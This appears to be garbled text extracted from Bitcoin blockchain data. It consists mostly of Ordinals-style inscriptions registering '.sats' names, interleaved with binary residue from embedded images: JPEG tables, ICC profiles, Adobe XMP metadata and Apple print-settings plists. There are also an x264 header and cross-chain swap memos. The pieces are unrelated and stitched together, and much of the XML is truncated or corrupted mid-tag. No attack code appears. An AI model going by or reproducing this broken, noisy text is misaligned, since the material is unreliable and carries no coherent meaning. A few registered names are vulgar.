text/plain;charset=utf-8
  "name": "first.sats"
text/plain;charset=utf-8
  "name": "cypher.sats"
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"34223.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"raa.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"5.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9876.sats"}h!
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"saa.sats"}h!
2023-03-02T09:25:07+00:00
2023-03-02T09:25:07+00:00
2023-03-02T09:25:08+00:00=e
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"deepak.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"defecate.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"foto.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"daddy.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"aal.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"Japan.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"paa.sats"}h!
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"mcm.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"NewYork.sats"}h!

"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
:AWAWAWAWAWAWAWAWAWA
x264 - core 163 r3060 5db6aa6 - H.264/MPEG-4 AVC codec - Copyleft 2003-2021 - http://www.videolan.org/x264.html - options: cabac=0 ref=1 deblock=0:0:0 analyse=0:0 me=dia subme=0 psy=1 psy_rd=1.00:0.00 mixed_ref=0 me_range=16 chroma_me=1 trellis=0 8x8dct=0 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=0 threads=8 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=0 weightp=0 keyintM
=250 keyint_min=10 scenecut=0 intra_refresh=0 rc=crf mbtree=0 crf=40.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=0
Lavc59.37.100 libx264
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"111188.sats"}h!
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"nny.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"meiz.sats"}h!
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
'{"p":"sns","op":"reg","name":"cu.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"kaijun.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0405.sats"}h!
uiCCPkCGColorSpaceDisplayP3
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0706.sats"}h!
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"Foxnews.sats"}h!
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"88881.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"88882.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"Trump2024.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0601.sats"}h!
((((((((((((((((((((((((((((((((((((((((((((((((((
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"Golf.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"zaa.sats"}h!
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"Olympics2028.sats"}h!
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
0{"p":"sns","op":"reg","name":"mehmetdemir.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"otta.sats"}h!
text/plain;charset=utf-8
  "name": "helloworld.sats"
uiCCPkCGColorSpaceDisplayP3
uiCCPkCGColorSpaceDisplayP3
2023-03-02T05:21:16+00:00
2023-03-02T05:21:16+00:00e
2023-03-02T05:21:16+00:002
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"plug.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0509.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"Hawaii.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"Nike.sats"}h!
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
=mH_Up=mH_Up=mH_Up=mH_Up=mH_Up=mH_Up=mH_Up1
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"8.sats"}h!
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"Baseball.sats"}h!
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0411.sats"}h!
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"yaa.sats"}h!
2023-03-02T05:17:01+00:00
2023-03-02T05:17:01+00:00
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
9'wwwwwwwwwwwwwwwwwwwwwwwwwwws"
bbbbbbbbbbbbbbbbbbbbba
wwwwwwwwwwwwwwwwwwwwxoWZO_
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"goldentree.sats"}h!
text/plain;charset=utf-8
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"seedao.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"Cryptokong.sats"}h!
text/plain;charset=utf-8
0{"p":"sns","op":"reg","name":"Donaldtrump.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"aas.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0904.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"metaverse.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"ipay.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"Amazon.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"MLB.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0403.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"6654sfdf.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"Texas.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"Soros.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9725.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"clean.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"paint.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"cbtc.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"rbtc.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"ybtc.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"jbtc.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"ebtc.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"rave.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"99877.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"xbtc.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"zbtc.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"pbtc.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"peek.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"lush.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"vbtc.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"lbtc.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"ics.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"gbtc.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"ubtc.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"bbtc.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"speak.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"fbtc.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"icc.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"tbtc.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"fairy.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"kbtc.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"hbtc.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"cpdd.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"shock.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"iee.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"mute.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"nbtc.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"mbtc.sats"}h!
Aj?=:ETH.ETH:0xd9D9a5Edf6E98912a2eDaa3286e34bf9ccae6c92:4020454::0
Bj@=:BNB.BNB:bnb1ms8rzuad9akhceh7r8pukhczvaz9cksgar8q20:19638567::0
text/plain;charset=utf-8
  "name": "10018.sats"
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYM
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"2BTC.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"3BTC.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4BTC.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5BTC.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6BTC.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7BTC.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9BTC.sats"}h!
text/plain;charset=utf-8
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.b0f8be90, 2021/12/15-21:25:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xapM
/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 23.2 (Macintosh)" xmp:CreateDate="2023-02-16T14:40:24-08:00" xmp:ModifyDate="2023-02-16T17:49:29-08:00" xmp:MetadataDate="2023-02-16T17:49:29-08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:23f1b535-dcc7-4cab-a09d-f1fad44d348b" xmpMM:DocumentID="adobe:docid:photoshop:53026210-a3db-cf41-84d6-d0d6a0967306" xmpMM:OriginalDocumentID="xmp.did:142ba10a-7f68-462e-8a66-b0a586c565d9"> <xmpM
MM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:142ba10a-7f68-462e-8a66-b0a586c565d9" stEvt:when="2023-02-16T14:40:24-08:00" stEvt:softwareAgent="Adobe Photoshop 23.2 (Macintosh)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:4727dc72-4081-464b-8a63-0e88c64e674c" stEvt:when="2023-02-16T16:20:08-08:00" stEvt:softwareAgent="Adobe Photoshop 23.2 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:23f1b535-dcc7-4cab-a09d-f1fad44d348b" stEvt:wM
hen="2023-02-16T17:49:29-08:00" stEvt:softwareAgent="Adobe Photoshop 23.2 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>v
text/plain;charset=utf-8
  "name": "macs.sats"
FjDOUT:7E62D4BB8A1A878DAD440FFF6447063F62B40FAC18A5264F93F1B2B910AC6F1C
FjDOUT:4292C97742E54CE8A53EE07EB95AB59806F1A1EB5361BE996F4B929824D01693
FjDOUT:E5A8D6C2B7019EF16E3133153C9CA2ADB2AF3591B40E5C0AC1FA7925FF979235
FjDOUT:147455A4666B45C76BED69632F0EED8F3A0E2CC2FA3B4CAE9AC2D616305B34BC
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"suckmydick.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"kissmyass.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"jingdong.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"Dimensionals.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"psych.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"psychology.sats"}h!
text/plain;charset=utf-8
  "name": "play.sats"
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"chenshuwei.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"poopie.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"tulip.sats"}h!
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
  "name": "2x2.sats"
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
uiCCPkCGColorSpaceDisplayP3
d/Foundry USA Pool #dropgold/
text/plain;charset=utf-8
  "name": "9654.sats"
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"Fzu.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"fuzhou.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"FZU.sats"}h!
text/plain;charset=utf-8
0{"p":"sns","op":"reg","name":"fuzhoudaxue.sats"}h!
Copyright 2007 Apple Inc., all rights reserved.
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"social.sats"}h!
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"95533.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"aai.sats"}h!
Adobe Photoshop CS3 Macintosh
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
	<key>com.apple.print.PageFormat.PMHorizontalRes</key>
		<key>com.apple.print.ticket.creator</key>
		<string>com.apple.jobticket</string>
		<key>com.apple.print.ticket.itemArray</key>
				<key>com.apple.print.PageFormat.PMHM
				<key>com.apple.print.ticket.stateFlag</key>
				<integer>0</integer>
	<key>com.apple.print.PageFormat.PMOrientation</key>
		<key>com.apple.print.ticket.creator</key>
		<string>com.apple.jobticket</string>
		<key>com.apple.print.ticket.itemArray</key>
				<key>com.apple.print.PageFormat.PMOrientation</key>
				<integer>1</integer>
				<key>com.apple.print.ticket.stateFlag</key>
				<integer>0</integer>
	<key>com.apple.print.PageFormat.PMScaling</key>
		<key>com.apple.print.ticket.creator</key>
		<string>com.apple.jobticket</string>
		<key>com.apple.print.ticket.itemArray</key>
				<key>com.apple.print.PageFormat.PMScaling</key>
				<key>com.apple.print.ticket.stateFlag</key>
				<integer>0</integer>
	<key>com.apple.print.PageFormat.PMVerticalRes</key>
		<key>com.apple.print.ticket.creator</key>
ple.jobticket</string>
		<key>com.apple.print.ticket.itemArray</key>
				<key>com.apple.print.PageFormat.PMVerticalRes</key>
				<key>com.apple.print.ticket.stateFlag</key>
				<integer>0</integer>
	<key>com.apple.print.PageFormat.PMVerticalScaling</key>
		<key>com.apple.print.ticket.creator</key>
		<string>com.apple.jobticket</string>
		<key>com.apple.print.ticket.itemArray</key>
				<key>com.apple.print.PageFormat.PM
MVerticalScaling</key>
				<key>com.apple.print.ticket.stateFlag</key>
				<integer>0</integer>
	<key>com.apple.print.subTicket.paper_info_ticket</key>
		<key>PMPPDPaperCodeName</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>PMPPDPaperCodeName</key>
					<string>A4</string>
					<key>com.apple.print.ticket.stateFlag</key>
		<key>PMPPDTranslationStringPaperName</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>PMPPDTranslationStringPaperName</key>
					<string>A4</string>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>PMTiogaPaperName</key>
			<key>com.apple.print.ticket.creatoM
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>PMTiogaPaperName</key>
					<string>iso-a4</string>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PageFormat.PMAdjustedPageRect</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
com.apple.print.PageFormat.PMAdjustedPageRect</key>
						<integer>0</integer>
						<integer>0</integer>
						<real>783</real>
						<real>559</real>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PageFormat.PMAdjustedPaperRect</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
>com.apple.print.PageFormat.PMAdjustedPaperRect</key>
						<real>-18</real>
						<real>-18</real>
						<real>824</real>
						<real>577</real>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PaperInfo.PMPPDPaperDimension</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
ple.print.PaperInfo.PMPPDPaperDimension</key>
						<integer>0</integer>
						<integer>0</integer>
						<real>595</real>
						<real>842</real>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PaperInfo.PMPaperName</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.prinM
t.PaperInfo.PMPaperName</key>
					<string>iso-a4</string>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PaperInfo.PMUnadjustedPageRect</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PaperInfo.PMUnadjustedPageRect</key>
						<integer>0</integer>
						<integer>0</integer>M
						<real>783</real>
						<real>559</real>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PaperInfo.PMUnadjustedPaperRect</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PaperInfo.PMUnadjustedPaperRect</key>
						<real>-18</real>
						<real>-18</real>
						<real>577</real>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PaperInfo.ppd.PMPaperName</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PaperInfo.ppd.PMPaperName</key>
					<string>A4</string>
					<key>com.apple.print.ticket.stateFlag</key>
	<integer>0</integer>
		<key>com.apple.print.ticket.APIVersion</key>
		<string>00.20</string>
		<key>com.apple.print.ticket.type</key>
		<string>com.apple.print.PaperInfoTicket</string>
	<key>com.apple.print.ticket.APIVersion</key>
	<string>00.20</string>
	<key>com.apple.print.ticket.type</key>
	<string>com.apple.print.PageFormatTicket</string>
/ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.1-c036 46.276720, Mon Feb 19 2007 22:13:43        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xap="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xapMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/RM
esourceRef#" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xap:CreateDate="2023-03-01T01:05:07+02:00" xap:ModifyDate="2023-03-01T01:05:07+02:00" xap:MetadataDate="2023-03-01T01:05:07+02:00" xap:CreatorTool="Adobe Photoshop CS3 Macintosh" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" photoshop:History="" xapMM:InstanceID="uuid:88210741BDB8ED1198F1FE137501CB69" xapMM:DocumentID="uuid:87210741BDB8ED1198F1FE137501CB69" tiff:Orientation="1M
" tiff:XResolution="3000000/10000" tiff:YResolution="3000000/10000" tiff:ResolutionUnit="2" tiff:NativeDigest="256,257,258,259,262,274,277,284,530,531,282,283,296,301,318,319,529,532,306,270,271,272,305,315,33432;6E7F583F581A6F97BE18EB8BDC70C77F" exif:PixelXDimension="801" exif:PixelYDimension="800" exif:ColorSpace="1" exif:NativeDigest="36864,40960,40961,37121,37122,40962,40963,37510,40964,36867,36868,33434,33437,34850,34852,34855,34856,37377,37378,37379,37380,37381,37382,37383,37384,37385,37386,37396,41483,41484,M
41486,41487,41488,41492,41493,41495,41728,41729,41730,41985,41986,41987,41988,41989,41990,41991,41992,41993,41994,41995,41996,42016,0,2,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,20,22,23,24,25,26,27,28,30;0CD86AE5E980B99D7F30FECCB47A5DE1"> <xapMM:DerivedFrom stRef:instanceID="uuid:00BCCA6C63B0ED1187E0DFFF4327866D" stRef:documentID="uuid:FFBBCA6C63B0ED1187E0DFFF4327866D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                          M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                               <?xpacket end="w"?>
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
Adobe Photoshop CS3 Macintosh
on="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
	<key>com.apple.print.PageFormat.PMHorizontalRes</key>
		<key>com.apple.print.ticket.creator</key>
		<string>com.apple.jobticket</string>
		<key>com.apple.print.ticket.itemArray</key>
				<key>com.apple.print.PageFormat.PMHorizontalRes</key>
				<key>com.apple.print.ticket.stateFlag</key>
				<integer>0</integeM
	<key>com.apple.print.PageFormat.PMOrientation</key>
		<key>com.apple.print.ticket.creator</key>
		<string>com.apple.jobticket</string>
		<key>com.apple.print.ticket.itemArray</key>
				<key>com.apple.print.PageFormat.PMOrientation</key>
				<integer>1</integer>
				<key>com.apple.print.ticket.stateFlag</key>
				<integer>0</integer>
	<key>com.apple.print.PageFormat.PMScaling</key>
		<key>com.apple.print.ticket.creaM
		<string>com.apple.jobticket</string>
		<key>com.apple.print.ticket.itemArray</key>
				<key>com.apple.print.PageFormat.PMScaling</key>
				<key>com.apple.print.ticket.stateFlag</key>
				<integer>0</integer>
	<key>com.apple.print.PageFormat.PMVerticalRes</key>
		<key>com.apple.print.ticket.creator</key>
		<string>com.apple.jobticket</string>
		<key>com.apple.print.ticket.itemArray</key>
				<key>com.apple.pM
rint.PageFormat.PMVerticalRes</key>
				<key>com.apple.print.ticket.stateFlag</key>
				<integer>0</integer>
	<key>com.apple.print.PageFormat.PMVerticalScaling</key>
		<key>com.apple.print.ticket.creator</key>
		<string>com.apple.jobticket</string>
		<key>com.apple.print.ticket.itemArray</key>
				<key>com.apple.print.PageFormat.PMVerticalScaling</key>
				<key>com.apple.print.ticket.stateFlag</key>
				<integer>0</intM
	<key>com.apple.print.subTicket.paper_info_ticket</key>
		<key>PMPPDPaperCodeName</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>PMPPDPaperCodeName</key>
					<string>A4</string>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>PMPPDTranslationStringPaperName</key>
		<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>PMPPDTranslationStringPaperName</key>
					<string>A4</string>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>PMTiogaPaperName</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>PMTiogaPaperName</key>
					<string>iso-a4</string>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PageFormat.PMAdjustedPageRect</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PageFormat.PMAdjustedPageRect</key>
						<integer>0</integer>
						<real>783</real>
						<real>559</real>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PageFormat.PMAdjustedPaperRect</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PageFormat.PMAdjustedPaperRect</key>
						<real>-18</real>
						<real>-18</reM
						<real>824</real>
						<real>577</real>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PaperInfo.PMPPDPaperDimension</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PaperInfo.PMPPDPaperDimension</key>
						<integer>0</integer>
						<integer>0</integM
						<real>595</real>
						<real>842</real>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PaperInfo.PMPaperName</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PaperInfo.PMPaperName</key>
					<string>iso-a4</string>
					<key>com.apple.print.ticket.stateFlag</key>
				<integer>0</integer>
		<key>com.apple.print.PaperInfo.PMUnadjustedPageRect</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PaperInfo.PMUnadjustedPageRect</key>
						<integer>0</integer>
						<integer>0</integer>
						<real>783</real>
						<real>559</real>
					<key>com.apple.print.ticket.stateFlag</key>M
					<integer>0</integer>
		<key>com.apple.print.PaperInfo.PMUnadjustedPaperRect</key>
